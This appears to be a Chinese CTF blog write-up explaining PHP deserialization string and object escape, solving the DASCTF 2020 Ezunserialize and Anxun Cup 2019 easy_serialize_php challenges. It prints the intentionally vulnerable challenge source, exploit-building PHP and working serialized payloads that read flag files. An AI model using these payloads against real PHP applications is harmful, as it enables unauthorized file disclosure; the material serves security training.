<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne3Rlc3RfZmxhZ30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;">

解码后得到

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{test_flag}';
?>

例题-9

DASCTF-2020-April-Ezunserialize这个题改自Joomla-3.4.5-反序列化漏洞(CVE-2015-8562)

开局送源码

<?php
show_source("index.php");
error_reporting(0);
function write($data){
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data){
    return str_replace('\0\0\0', chr(0) . '*' . chr(0) , $data);
}

class A{
    public $username;
    public $password;
    function __construct($a,$b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b ='gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
?>

定睛一看就确定是反序列化(其实是题目已经说了),题目中也给了提示在flag.php,想要读取文件就要用C类的__toString()函数让参数$c=flag.php,然而想要调用C类需要让B类中的参数$b=new class C()

<?php
class B{
    public $b;
}
class C{
    public $c="flag.php";
}
 $a = new B();
 $a->b = new C();
 echo(serialize($a));
 ?>

得到结果

O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

原题中的序列化储存过程没有给出,但是据wp可知,将上述序列化结果传入则会得到

O:1:"A":2:{s:8:"username";N;s:8:"password";s:55:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

即整个序列化结果被当作字符串赋给password

又因为存在read和write两个函数,测试可知,\0\0\0是6个字符,chr(0).'*'.chr(0)是3个字符,

所以想要将我们最起初构造的payload的生效就要在最后一步unserialize时将其生成。结合readwrite我们可以将password的值被username覆盖掉一部分,所以构造出的exp如下:

<?php
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
    public $username='\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
    public $password='a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
    function __construct(){
        
    }
}

$a = new A();
echo serialize($a)."<br>";
$b = write(serialize($a));
var_dump($b);
echo "<br>";
$b = read(write(serialize($a)));
var_dump($b);
?>
//生成的三个结果
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:73:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

则构造的payload应该如下:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

页面返回anice,页面源代码中就有被包含的flag.php

php反序列化对象逃逸

整体的原理和字符串逃逸大同小异,其主要的逃逸方式分为两种,键逃逸值逃逸

两者的利用条件均是存在过滤函数,与字符串逃逸的函数大同小异,键逃逸要求参数的值可控,值逃逸要求参数名可控,分别构成不同种类的payload

例题-10

安洵杯-2019-easy_serialize_php

依旧是开局送源码的套路

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

给了一句提示,让看phpinfo,查看后发现auto_append_filed0g3_f1ag.php,其他就没有什么有用的发现了,返回来继续读代码,在最后有当$function='show_image'时,反序列化参数$serialize_info,该参数明显是数组,且有一键值为img,最后将img参数base64解码后进行文件包含说明这是唯一利用点。

倒推$userinfo['img']如果我们输入了img值则会经过sha1加密,全程无解密,所以不可控,紧接着注意到这句代码$serialize_info = filter(serialize($_SESSION));经过序列化后的数据又经过filter()函数过滤,这就很容易想到刚学的逃逸,康康filter()函数吧。

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

简单说就是上面给了一个黑名单,如果存在就将他们换成空!接下来看$_SESSION是否有参数可控了,发现该数组可以增改删其中的参数,这时候就想到如果我能构造恶意代码令其序列化且过滤结束后造成部分字符串逃逸,让我们的img可控并设为d0g3_f1ag.php就可以实现文件读取。

Array
(
[img] => d0g3_f1ag.php
)

d0g3_f1ag.phpbase64加密值为ZDBnM19mbGxsbGxsYWc=,题中提到的guest_img.pngbase64加密值为Z3Vlc3RfaW1nLnBuZw==

键逃逸

需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

核心payload:

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

如此构造会生成如下的序列化代码

a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这就将img参数变成了我们的目标网页。

payloadPOST的形式上传得到回显

<?php

$flag = 'flag in /d0g3_fllllllag';

?>

/d0g3_fllllllagbase64加密值为L2QwZzNfZmxsbGxsbGFn,正好也是20位,将原payload中的img参数换掉即可得到flag。

值逃逸

需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

核心payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

生成如下的序列化代码

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

因为6个flag被替换造成24个空位,正好将第二个键值覆盖掉,执行序列化的过程,img就变成了我们构造的文件名

最后修改:2020 年 08 月 10 日 08 : 41 PM
请作者喝杯奶茶吧~